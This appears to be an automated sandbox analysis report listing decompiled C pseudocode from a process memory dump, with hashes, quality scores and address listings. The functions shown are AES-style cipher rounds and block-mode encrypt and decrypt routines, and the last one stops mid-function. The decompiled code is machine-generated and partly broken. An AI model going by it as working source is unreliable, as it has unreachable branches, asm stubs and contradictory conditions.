                                                                • Opcode Fuzzy Hash: 4b9d46a929fa034b0ed27a1be15b9da0a9608b31f21167fa3a532d9380eac4bb
                                                                • Instruction Fuzzy Hash: 1BD1DF75A093409FC348CF69C480A1BFBE1BFC9710F95892EF59A87361E671E945CB82
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 57%
                                                                			E00ABE380(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int* __edi) {
                                                                				unsigned int _t107;
                                                                				signed int _t120;
                                                                				signed char _t121;
                                                                				signed char _t135;
                                                                				signed int _t139;
                                                                				unsigned int _t148;
                                                                				signed int _t154;
                                                                				signed int* _t217;
                                                                				intOrPtr _t321;
                                                                				void* _t338;
                                                                
                                                                				 *(_t338 + 0x14) = __edi;
                                                                				_t107 = __eax ^  *__edi;
                                                                				_t120 = __ebx ^ __edi[1];
                                                                				_t135 = __ecx ^ __edi[2];
                                                                				_t148 = __edx ^ __edi[3];
                                                                				 *((intOrPtr*)(_t338 + 0x18)) = __edi + (__edi[0x3c] + __edi[0x3c] - 2) * 8;
                                                                				0;
                                                                				do {
                                                                					 *(_t338 + 4) =  *(_t321 + (_t107 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t321 + (_t120 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t321 + (_t135 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t321 + (_t148 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                					_t121 = _t120 >> 0x10;
                                                                					 *(_t338 + 8) =  *(_t321 + (_t120 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t321 + (_t135 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t321 + (_t148 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t321 + (_t107 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                					_t154 =  *(_t321 + (_t148 & 0xff) - 0x80) & 0x000000ff ^ ( *(_t321 + (_t107 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t321 + (_t121 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t321 + (_t135 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                					_t139 =  *(_t321 + (_t135 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t321 + (_t148 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t321 + (_t107 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t321 + (_t121 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000018;
                                                                					asm("ror ebp, 0x10");
                                                                					asm("ror edi, 0x18");
                                                                					asm("rol ecx, 0x18");
                                                                					asm("ror ebp, 0x10");
                                                                					asm("ror edi, 0x18");
                                                                					asm("rol edx, 0x18");
                                                                					asm("ror ebp, 0x10");
                                                                					asm("ror edi, 0x18");
                                                                					asm("rol eax, 0x18");
                                                                					asm("ror ebp, 0x10");
                                                                					asm("ror edi, 0x18");
                                                                					asm("rol ebx, 0x18");
                                                                					_t321 =  *((intOrPtr*)(_t338 + 0x1c));
                                                                					_t217 =  &(( *(_t338 + 0x14))[4]);
                                                                					_t107 =  *(_t338 + 4) ^ 0x80808080 ^ 0x80808080 - ((0x80808080 &  *(_t338 + 4)) >> 0x00000007) & 0x1b1b1b1b ^  *(_t338 + 4) +  *(_t338 + 4) & 0xfefefefe ^  *(_t338 + 4) ^  *(_t338 + 4) ^  *_t217;
                                                                					_t120 =  *(_t338 + 8) ^ 0x80808080 ^ 0x80808080 - ((0x80808080 &  *(_t338 + 8)) >> 0x00000007) & 0x1b1b1b1b ^  *(_t338 + 8) +  *(_t338 + 8) & 0xfefefefe ^  *(_t338 + 8) ^  *(_t338 + 8) ^ _t217[1];
                                                                					_t135 = _t139 ^ 0x80808080 ^ 0x80808080 - ((0x80808080 & _t139) >> 0x00000007) & 0x1b1b1b1b ^ _t139 + _t139 & 0xfefefefe ^ _t139 ^ _t139 ^ _t217[2];
                                                                					_t148 = _t154 ^ 0x80808080 ^ 0x80808080 - ((0x80808080 & _t154) >> 0x00000007) & 0x1b1b1b1b ^ _t154 + _t154 & 0xfefefefe ^ _t154 ^ _t154 ^ _t217[3];
                                                                					 *(_t338 + 0x14) = _t217;
                                                                				} while (_t217 <  *((intOrPtr*)(_t338 + 0x18)));
                                                                				 *(_t338 + 4) =  *(_t321 + (_t107 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t321 + (_t120 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t321 + (_t135 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t321 + (_t148 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                				 *(_t338 + 8) =  *(_t321 + (_t120 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t321 + (_t135 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t321 + (_t148 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t321 + (_t107 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                				return  *(_t338 + 4) ^ ( *(_t338 + 0x14))[4];
                                                                			}













                                                                0x00abe380
                                                                0x00abe384
                                                                0x00abe386
                                                                0x00abe389
                                                                0x00abe38c
                                                                0x00abe39c
                                                                0x00abe3be
                                                                0x00abe3c0
                                                                0x00abe3fe
                                                                0x00abe40a
                                                                0x00abe443
                                                                0x00abe4c4
                                                                0x00abe4c6
                                                                0x00abe4e7
                                                                0x00abe4f0
                                                                0x00abe4f5
                                                                0x00abe51b
                                                                0x00abe524
                                                                0x00abe529
                                                                0x00abe54f
                                                                0x00abe558
                                                                0x00abe55d
                                                                0x00abe583
                                                                0x00abe58c
                                                                0x00abe591
                                                                0x00abe59c
                                                                0x00abe5a0
                                                                0x00abe5a3
                                                                0x00abe5a5
                                                                0x00abe5a8
                                                                0x00abe5ab
                                                                0x00abe5b2
                                                                0x00abe5b2
                                                                0x00abe5fa
                                                                0x00abe63f
                                                                0x00abe6d4

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0b32b9f09d68a8ba3adc6463fbd9cf88116f9db414d22f8215cfaa78ec6d93ad
                                                                • Instruction ID: 3031d69dec73e0e8e2bb2236b4c33c4035e35dfe3c70be4d37038b1fb4586712
                                                                • Opcode Fuzzy Hash: 0b32b9f09d68a8ba3adc6463fbd9cf88116f9db414d22f8215cfaa78ec6d93ad
                                                                • Instruction Fuzzy Hash: FB91E473918BBE06D7605EAF88040B9F6E3AFC8210F9B0776DC9473242C970AE4697D0
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 54%
                                                                			E00ABDBA0(void* __ebp, unsigned int _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36, signed int _a40, signed int _a44, signed int _a48, signed int _a52, char _a56, signed int _a72, intOrPtr* _a80, intOrPtr _a84, intOrPtr _a88, signed int _a92) {
                                                                				intOrPtr _v0;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t139;
                                                                				unsigned int _t143;
                                                                				void* _t149;
                                                                				signed int _t157;
                                                                				signed int* _t165;
                                                                				signed int* _t173;
                                                                				unsigned int _t177;
                                                                				void* _t178;
                                                                				signed int _t184;
                                                                				signed int _t187;
                                                                				signed int _t188;
                                                                				signed int _t200;
                                                                				signed int _t201;
                                                                				void* _t217;
                                                                				signed char _t229;
                                                                				unsigned int _t230;
                                                                				signed int _t248;
                                                                				signed int _t249;
                                                                				intOrPtr* _t250;
                                                                				unsigned int _t252;
                                                                				void* _t253;
                                                                				signed int _t254;
                                                                				void* _t256;
                                                                				signed int _t257;
                                                                
                                                                				E00B8BB10(0x4c);
                                                                				_t139 =  *0xbe5970; // 0xe6e1d076
                                                                				_a72 = _t139 ^ _t254;
                                                                				_a16 = _a88;
                                                                				_t187 = _a92;
                                                                				_t250 = _a80;
                                                                				_t252 =  *(_t250 + 0x54);
                                                                				_t184 = _t187 >> 4;
                                                                				_v0 = _a84;
                                                                				_t248 =  *(_t250 + 0x50);
                                                                				_t143 = _t184 + _t248;
                                                                				asm("adc edx, ebp");
                                                                				_a20 = _t184;
                                                                				_a4 = _t143;
                                                                				_a8 = 0;
                                                                				if(_t184 == 0) {
                                                                					L10:
                                                                					_t248 = _t248 + 1;
                                                                					asm("adc ebp, 0x0");
                                                                					__eflags = _t252 - _a8;
                                                                					if(__eflags > 0) {
                                                                						goto L22;
                                                                					} else {
                                                                						if(__eflags < 0) {
                                                                							L13:
                                                                							_t184 = 0;
                                                                							__eflags = _t248 & 0x00000001;
                                                                							_t201 = _t248;
                                                                							_t230 = _t252;
                                                                							_a12 = 0;
                                                                							if((_t248 & 0x00000001) == 0) {
                                                                								do {
                                                                									_a12 = _a12 + 1;
                                                                									_t201 = (_t230 << 0x00000020 | _t201) >> 1;
                                                                									_t184 = 0;
                                                                									_t230 = _t230 >> 1;
                                                                									__eflags = _t201 & 0x00000001;
                                                                								} while ((_t201 & 0x00000001) == 0);
                                                                							}
                                                                							_push(_a12);
                                                                							_push(_t250);
                                                                							_t157 = E00ABD530();
                                                                							_t257 = _t254 + 8;
                                                                							__eflags = _t157;
                                                                							if(_t157 == 0) {
                                                                								goto L8;
                                                                							} else {
                                                                								goto L17;
                                                                							}
                                                                						} else {
                                                                							__eflags = _t248 - _t143;
                                                                							if(_t248 > _t143) {
                                                                								goto L22;
                                                                							} else {
                                                                								goto L13;
                                                                								do {
                                                                									do {
                                                                										goto L13;
                                                                										L17:
                                                                										 *(_t250 + 0x88) =  *(_t250 + 0x88) ^  *_t157;
                                                                										 *(_t250 + 0x8c) =  *(_t250 + 0x8c) ^  *(_t157 + 4);
                                                                										 *(_t250 + 0x90) =  *(_t250 + 0x90) ^  *(_t157 + 8);
                                                                										 *(_t250 + 0x94) =  *(_t250 + 0x94) ^  *(_t157 + 0xc);
                                                                										_t165 = (_t248 -  *(_t250 + 0x50) - 1 << 4) + _v0;
                                                                										_a24 =  *(_t250 + 0x88) ^  *_t165;
                                                                										_a28 =  *(_t250 + 0x8c) ^ _t165[1];
                                                                										_a32 =  *(_t250 + 0x90) ^ _t165[2];
                                                                										_a36 =  *(_t250 + 0x94) ^ _t165[3];
                                                                										 *(_t250 + 0x98) =  *(_t250 + 0x98) ^  *_t165;
                                                                										 *(_t250 + 0x9c) =  *(_t250 + 0x9c) ^ _t165[1];
                                                                										 *(_t250 + 0xa0) =  *(_t250 + 0xa0) ^ _t165[2];
                                                                										 *(_t250 + 0xa4) =  *(_t250 + 0xa4) ^ _t165[3];
                                                                										 *((intOrPtr*)( *_t250))( &_a24,  &_a40,  *((intOrPtr*)(_t250 + 8)));
                                                                										_t254 = _t257 + 0xc;
                                                                										_t173 = (_t248 -  *(_t250 + 0x50) - 1 << 4) + _a16;
                                                                										 *_t173 =  *(_t250 + 0x88) ^ _a40;
                                                                										_t173[1] =  *(_t250 + 0x8c) ^ _a44;
                                                                										_t248 = _t248 + 1;
                                                                										asm("adc ebp, 0x0");
                                                                										_t173[2] =  *(_t250 + 0x90) ^ _a48;
                                                                										_t173[3] =  *(_t250 + 0x94) ^ _a52;
                                                                										__eflags = _t252 - _a8;
                                                                									} while (__eflags < 0);
                                                                									if(__eflags > 0) {
                                                                										break;
                                                                									} else {
                                                                										goto L19;
                                                                									}
                                                                									goto L28;
                                                                									L19:
                                                                									__eflags = _t248 - _a4;
                                                                								} while (_t248 <= _a4);
                                                                								_t184 = _a20;
                                                                								goto L21;
                                                                							}
                                                                						}
                                                                					}
                                                                				} else {
                                                                					_t230 = 0;
                                                                					if(_t143 != _t143 || _a8 != 0 ||  *((intOrPtr*)(_t250 + 0x10)) == 0) {
                                                                						goto L10;
                                                                					} else {
                                                                						_t217 = 0;
                                                                						_t177 = _t143 >> 1;
                                                                						while(_t177 != 0) {
                                                                							_t217 = _t217 + 1;
                                                                							_t177 = _t177 >> 1;
                                                                						}
                                                                						_push(_t217);
                                                                						_push(_t250);
                                                                						_t178 = E00ABD530();
                                                                						_t257 = _t254 + 8;
                                                                						if(_t178 != 0) {
                                                                							 *((intOrPtr*)( *((intOrPtr*)(_t250 + 0x10))))(_v0, _a16, _t184,  *((intOrPtr*)(_t250 + 8)),  *(_t250 + 0x50) + 1, _t250 + 0x88,  *((intOrPtr*)(_t250 + 0x40)), _t250 + 0x98);
                                                                							_t254 = _t257 + 0x20;
                                                                							L21:
                                                                							_t187 = _a92;
                                                                							_t143 = _a4;
                                                                							L22:
                                                                							_t188 = _t187 & 0x0000000f;
                                                                							__eflags = _t188;
                                                                							_t249 = _t188;
                                                                							if(_t188 > 0) {
                                                                								 *(_t250 + 0x88) =  *(_t250 + 0x88) ^  *(_t250 + 0x20);
                                                                								 *(_t250 + 0x8c) =  *(_t250 + 0x8c) ^  *(_t250 + 0x24);
                                                                								 *(_t250 + 0x90) =  *(_t250 + 0x90) ^  *(_t250 + 0x28);
                                                                								 *(_t250 + 0x94) =  *(_t250 + 0x94) ^  *(_t250 + 0x2c);
                                                                								 *((intOrPtr*)( *_t250))(_t250 + 0x88,  &_a56,  *((intOrPtr*)(_t250 + 8)));
                                                                								_t256 = _t254 + 0xc;
                                                                								_t149 = 0;
                                                                								__eflags = _t249;
                                                                								if(_t249 > 0) {
                                                                									_t253 = (_t184 << 4) + _v0;
                                                                									_t200 = (_t184 << 4) + _a16;
                                                                									__eflags = _t200;
                                                                									do {
                                                                										_t229 =  *(_t149 + _t253) ^  *(_t256 + _t149 + 0x48);
                                                                										_t149 = _t149 + 1;
                                                                										 *(_t200 + _t149 - 1) = _t229;
                                                                										__eflags = _t149 - _t249;
                                                                									} while (_t149 < _t249);
                                                                								}
                                                                								_t184 = (_t184 << 4) + _v0;
                                                                								_a24 = 0;
                                                                								_a28 = 0;
                                                                								_a32 = 0;
                                                                								_a36 = 0;
                                                                								E00B8B7A0(_t184, _t249, _t250,  &_a24, _t184, _t249);
                                                                								 *((char*)(_t256 + _t249 + 0x34)) = 0x80;
                                                                								 *(_t250 + 0x98) =  *(_t250 + 0x98) ^ _a24;
                                                                								 *(_t250 + 0xa0) =  *(_t250 + 0xa0) ^ _a32;
                                                                								 *(_t250 + 0x9c) =  *(_t250 + 0x9c) ^ _a28;
                                                                								_t143 = _a4;
                                                                								_t254 = _t256 + 0xc;
                                                                								_t131 = _t250 + 0xa4;
                                                                								 *_t131 =  *(_t250 + 0xa4) ^ _a36;
                                                                								__eflags =  *_t131;
                                                                							}
                                                                							 *(_t250 + 0x50) = _t143;
                                                                							 *(_t250 + 0x54) = _a8;
                                                                							__eflags = _a72 ^ _t254;
                                                                							return E00B89C26(1, _t184, _a72 ^ _t254, _a8, _t249, _t250);
                                                                						} else {
                                                                							L8:
                                                                							return E00B89C26(0, _t184, _a72 ^ _t257, _t230, _t248, _t250);
                                                                						}
                                                                					}
                                                                				}
                                                                				L28:
                                                                			}































                                                                0x00abdba5
                                                                0x00abdbaa
                                                                0x00abdbb1
                                                                0x00abdbbf
                                                                0x00abdbc3
                                                                0x00abdbc8
                                                                0x00abdbcc
                                                                0x00abdbd1
                                                                0x00abdbd4
                                                                0x00abdbd9
                                                                0x00abdbe0
                                                                0x00abdbe2
                                                                0x00abdbe4
                                                                0x00abdbe8
                                                                0x00abdbec
                                                                0x00abdbf2
                                                                0x00abdc6b
                                                                0x00abdc6b
                                                                0x00abdc6e
                                                                0x00abdc71
                                                                0x00abdc75
                                                                0x00000000
                                                                0x00abdc7b
                                                                0x00abdc7b
                                                                0x00abdc85
                                                                0x00abdc8a
                                                                0x00abdc8c
                                                                0x00abdc8e
                                                                0x00abdc90
                                                                0x00abdc92
                                                                0x00abdc9a
                                                                0x00abdca0
                                                                0x00abdca0
                                                                0x00abdca4
                                                                0x00abdcad
                                                                0x00abdcaf
                                                                0x00abdcb1
                                                                0x00abdcb1
                                                                0x00abdca0
                                                                0x00abdcb9
                                                                0x00abdcba
                                                                0x00abdcbb
                                                                0x00abdcc0
                                                                0x00abdcc3
                                                                0x00abdcc5
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00abdc7d
                                                                0x00abdc7d
                                                                0x00abdc7f
                                                                0x00000000
                                                                0x00abdc85
                                                                0x00000000
                                                                0x00abdc85
                                                                0x00abdc85
                                                                0x00000000
                                                                0x00abdccb
                                                                0x00abdccd
                                                                0x00abdcd6
                                                                0x00abdcdf
                                                                0x00abdce8
                                                                0x00abdd03
                                                                0x00abdd0c
                                                                0x00abdd16
                                                                0x00abdd26
                                                                0x00abdd2a
                                                                0x00abdd30
                                                                0x00abdd39
                                                                0x00abdd42
                                                                0x00abdd4e
                                                                0x00abdd61
                                                                0x00abdd7c
                                                                0x00abdd83
                                                                0x00abdd87
                                                                0x00abdd89
                                                                0x00abdda0
                                                                0x00abdda3
                                                                0x00abdda6
                                                                0x00abdda9
                                                                0x00abddac
                                                                0x00abddac
                                                                0x00abddb6
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00abddb8
                                                                0x00abddb8
                                                                0x00abddb8
                                                                0x00abddc2
                                                                0x00000000
                                                                0x00abddc2
                                                                0x00abdc7f
                                                                0x00abdc7b
                                                                0x00abdbf4
                                                                0x00abdbf4
                                                                0x00abdbf8
                                                                0x00000000
                                                                0x00abdc05
                                                                0x00abdc05
                                                                0x00abdc07
                                                                0x00abdc09
                                                                0x00abdc10
                                                                0x00abdc11
                                                                0x00abdc11
                                                                0x00abdc15
                                                                0x00abdc16
                                                                0x00abdc17
                                                                0x00abdc1c
                                                                0x00abdc21
                                                                0x00abdc61
                                                                0x00abdc63
                                                                0x00abddc6
                                                                0x00abddc6
                                                                0x00abddca
                                                                0x00abddce
                                                                0x00abddce
                                                                0x00abddce
                                                                0x00abddd1
                                                                0x00abddd3
                                                                0x00abdddc
                                                                0x00abdde5
                                                                0x00abddf1
                                                                0x00abddfa
                                                                0x00abde0f
                                                                0x00abde11
                                                                0x00abde14
                                                                0x00abde16
                                                                0x00abde18
                                                                0x00abde23
                                                                0x00abde2f
                                                                0x00abde2f
                                                                0x00abde31
                                                                0x00abde34
                                                                0x00abde38
                                                                0x00abde39
                                                                0x00abde3d
                                                                0x00abde3d
                                                                0x00abde31
                                                                0x00abde46
                                                                0x00abde4b
                                                                0x00abde4f
                                                                0x00abde53
                                                                0x00abde57
                                                                0x00abde61
                                                                0x00abde66
                                                                0x00abde6f
                                                                0x00abde7d
                                                                0x00abde87
                                                                0x00abde8d
                                                                0x00abde91
                                                                0x00abde94
                                                                0x00abde94
                                                                0x00abde94
                                                                0x00abde94
                                                                0x00abdea3
                                                                0x00abdea6
                                                                0x00abdeac
                                                                0x00abdebb
                                                                0x00abdc26
                                                                0x00abdc26
                                                                0x00abdc37
                                                                0x00abdc37
                                                                0x00abdc21
                                                                0x00abdbf8
                                                                0x00000000

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 042c0ae4a7d59b7cccf68815909a32c74775cd097b93f55e12b345fd6990b56f
                                                                • Instruction ID: c819c8aa4db5e1b1c7efe786d294d79d15570af0c3403928a40d8318dc164fa0
                                                                • Opcode Fuzzy Hash: 042c0ae4a7d59b7cccf68815909a32c74775cd097b93f55e12b345fd6990b56f
                                                                • Instruction Fuzzy Hash: ACA117716047008FD368CF39C881AABFBE5FFC9304F45892DE59A87261EA70E945CB52
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 68%
                                                                			E00ABDEC0(void* __ebp, unsigned int _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36, signed int _a40, signed int _a44, signed int _a48, signed int _a52, char _a56, signed int _a72, intOrPtr* _a80, intOrPtr _a84, intOrPtr _a88, signed int _a92) {
                                                                				intOrPtr _v0;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t140;
                                                                				unsigned int _t144;
                                                                				void* _t150;
                                                                				signed int _t158;
                                                                				signed int* _t166;
                                                                				signed int* _t174;
                                                                				unsigned int _t178;
                                                                				void* _t179;
                                                                				signed int _t185;
                                                                				signed int _t188;
                                                                				signed int _t189;
                                                                				signed int _t201;
                                                                				signed int _t202;
                                                                				void* _t218;
                                                                				signed char _t230;
                                                                				unsigned int _t231;
                                                                				signed int _t249;
                                                                				signed int _t250;
                                                                				intOrPtr* _t251;
                                                                				unsigned int _t253;
                                                                				void* _t254;
                                                                				signed int _t255;
                                                                				void* _t257;
                                                                				signed int _t258;
                                                                
                                                                				E00B8BB10(0x4c);
                                                                				_t140 =  *0xbe5970; // 0xe6e1d076
                                                                				_a72 = _t140 ^ _t255;
                                                                				_v0 = _a88;
                                                                				_t188 = _a92;
                                                                				_t251 = _a80;
                                                                				_t253 =  *(_t251 + 0x54);
                                                                				_t185 = _t188 >> 4;
                                                                				_a16 = _a84;
                                                                				_t249 =  *(_t251 + 0x50);
                                                                				_t144 = _t185 + _t249;
                                                                				asm("adc edx, ebp");
                                                                				_a20 = _t185;
                                                                				_a4 = _t144;
                                                                				_a8 = 0;
                                                                				if(_t185 == 0) {
                                                                					L10:
                                                                					_t249 = _t249 + 1;
                                                                					asm("adc ebp, 0x0");
                                                                					__eflags = _t253 - _a8;
                                                                					if(__eflags > 0) {
                                                                						goto L22;
                                                                					} else {
                                                                						if(__eflags < 0) {
                                                                							L13:
                                                                							_t185 = 0;
                                                                							__eflags = _t249 & 0x00000001;
                                                                							_t202 = _t249;
                                                                							_t231 = _t253;
                                                                							_a12 = 0;
                                                                							if((_t249 & 0x00000001) == 0) {
                                                                								do {
                                                                									_a12 = _a12 + 1;
                                                                									_t202 = (_t231 << 0x00000020 | _t202) >> 1;
                                                                									_t185 = 0;
                                                                									_t231 = _t231 >> 1;
                                                                									__eflags = _t202 & 0x00000001;
                                                                								} while ((_t202 & 0x00000001) == 0);
                                                                							}
                                                                							_push(_a12);
                                                                							_push(_t251);
                                                                							_t158 = E00ABD530();
                                                                							_t258 = _t255 + 8;
                                                                							__eflags = _t158;
                                                                							if(_t158 == 0) {
                                                                								goto L8;
                                                                							} else {
                                                                								goto L17;
                                                                							}
                                                                						} else {
                                                                							__eflags = _t249 - _t144;
                                                                							if(_t249 > _t144) {
                                                                								goto L22;
                                                                							} else {
                                                                								goto L13;
                                                                								do {
                                                                									do {
                                                                										goto L13;
                                                                										L17:
                                                                										 *(_t251 + 0x88) =  *(_t251 + 0x88) ^  *_t158;
                                                                										 *(_t251 + 0x8c) =  *(_t251 + 0x8c) ^  *(_t158 + 4);
                                                                										 *(_t251 + 0x90) =  *(_t251 + 0x90) ^  *(_t158 + 8);
                                                                										 *(_t251 + 0x94) =  *(_t251 + 0x94) ^  *(_t158 + 0xc);
                                                                										_t166 = (_t249 -  *(_t251 + 0x50) - 1 << 4) + _a16;
                                                                										_a24 =  *(_t251 + 0x88) ^  *_t166;
                                                                										_a28 =  *(_t251 + 0x8c) ^ _t166[1];
                                                                										_a32 = _t166[2] ^  *(_t251 + 0x90);
                                                                										_a36 = _t166[3] ^  *(_t251 + 0x94);
                                                                										 *((intOrPtr*)( *((intOrPtr*)(_t251 + 4))))( &_a24,  &_a40,  *((intOrPtr*)(_t251 + 0xc)));
                                                                										_t255 = _t258 + 0xc;
                                                                										_t174 = (_t249 -  *(_t251 + 0x50) - 1 << 4) + _v0;
                                                                										 *_t174 =  *(_t251 + 0x88) ^ _a40;
                                                                										_t174[1] =  *(_t251 + 0x8c) ^ _a44;
                                                                										_t174[2] =  *(_t251 + 0x90) ^ _a48;
                                                                										_t174[3] =  *(_t251 + 0x94) ^ _a52;
                                                                										 *(_t251 + 0x98) =  *(_t251 + 0x98) ^  *_t174;
                                                                										 *(_t251 + 0x9c) =  *(_t251 + 0x9c) ^ _t174[1];
                                                                										 *(_t251 + 0xa0) =  *(_t251 + 0xa0) ^ _t174[2];
                                                                										 *(_t251 + 0xa4) =  *(_t251 + 0xa4) ^ _t174[3];
                                                                										_t249 = _t249 + 1;
                                                                										asm("adc ebp, 0x0");
                                                                										__eflags = _t253 - _a8;
                                                                									} while (__eflags < 0);
                                                                									if(__eflags > 0) {
                                                                										break;
                                                                									} else {
                                                                										goto L19;
                                                                									}
                                                                									goto L28;
                                                                									L19:
                                                                									__eflags = _t249 - _a4;
                                                                								} while (_t249 <= _a4);
                                                                								_t185 = _a20;
                                                                								goto L21;
                                                                							}
                                                                						}
                                                                					}
                                                                				} else {
                                                                					_t231 = 0;
                                                                					if(_t144 != _t144 || _a8 != 0 ||  *((intOrPtr*)(_t251 + 0x10)) == 0) {
                                                                						goto L10;
                                                                					} else {
                                                                						_t218 = 0;
                                                                						_t178 = _t144 >> 1;
                                                                						while(_t178 != 0) {
                                                                							_t218 = _t218 + 1;
                                                                							_t178 = _t178 >> 1;
                                                                						}
                                                                						_push(_t218);
                                                                						_push(_t251);
                                                                						_t179 = E00ABD530();
                                                                						_t258 = _t255 + 8;
                                                                						if(_t179 != 0) {
                                                                							 *((intOrPtr*)( *((intOrPtr*)(_t251 + 0x10))))(_a16, _v0, _t185,  *((intOrPtr*)(_t251 + 0xc)),  *(_t251 + 0x50) + 1, _t251 + 0x88,  *((intOrPtr*)(_t251 + 0x40)), _t251 + 0x98);
                                                                							_t255 = _t258 + 0x20;
                                                                							L21:
                                                                							_t188 = _a92;
                                                                							_t144 = _a4;
                                                                							L22:
                                                                							_t189 = _t188 & 0x0000000f;
                                                                							__eflags = _t189;
                                                                							_t250 = _t189;
                                                                							if(_t189 > 0) {
                                                                								 *(_t251 + 0x88) =  *(_t251 + 0x88) ^  *(_t251 + 0x20);
                                                                								 *(_t251 + 0x8c) =  *(_t251 + 0x8c) ^  *(_t251 + 0x24);
                                                                								 *(_t251 + 0x90) =  *(_t251 + 0x90) ^  *(_t251 + 0x28);
                                                                								 *(_t251 + 0x94) =  *(_t251 + 0x94) ^  *(_t251 + 0x2c);
                                                                								 *((intOrPtr*)( *_t251))(_t251 + 0x88,  &_a56,  *((intOrPtr*)(_t251 + 8)));
                                                                								_t257 = _t255 + 0xc;
                                                                								_t150 = 0;
                                                                								__eflags = _t250;
                                                                								if(_t250 > 0) {
                                                                									_t254 = (_t185 << 4) + _a16;
                                                                									_t201 = (_t185 << 4) + _v0;
                                                                									__eflags = _t201;
                                                                									do {
                                                                										_t230 =  *(_t150 + _t254) ^  *(_t257 + _t150 + 0x48);
                                                                										_t150 = _t150 + 1;
                                                                										 *(_t201 + _t150 - 1) = _t230;
                                                                										__eflags = _t150 - _t250;
                                                                									} while (_t150 < _t250);
                                                                								}
                                                                								_t185 = (_t185 << 4) + _v0;
                                                                								_a24 = 0;
                                                                								_a28 = 0;
                                                                								_a32 = 0;
                                                                								_a36 = 0;
                                                                								E00B8B7A0(_t185, _t250, _t251,  &_a24, _t185, _t250);
                                                                								 *((char*)(_t257 + _t250 + 0x34)) = 0x80;
                                                                								 *(_t251 + 0x98) =  *(_t251 + 0x98) ^ _a24;
                                                                								 *(_t251 + 0xa0) =  *(_t251 + 0xa0) ^ _a32;
                                                                								 *(_t251 + 0x9c) =  *(_t251 + 0x9c) ^ _a28;
                                                                								_t144 = _a4;
                                                                								_t255 = _t257 + 0xc;
                                                                								_t132 = _t251 + 0xa4;
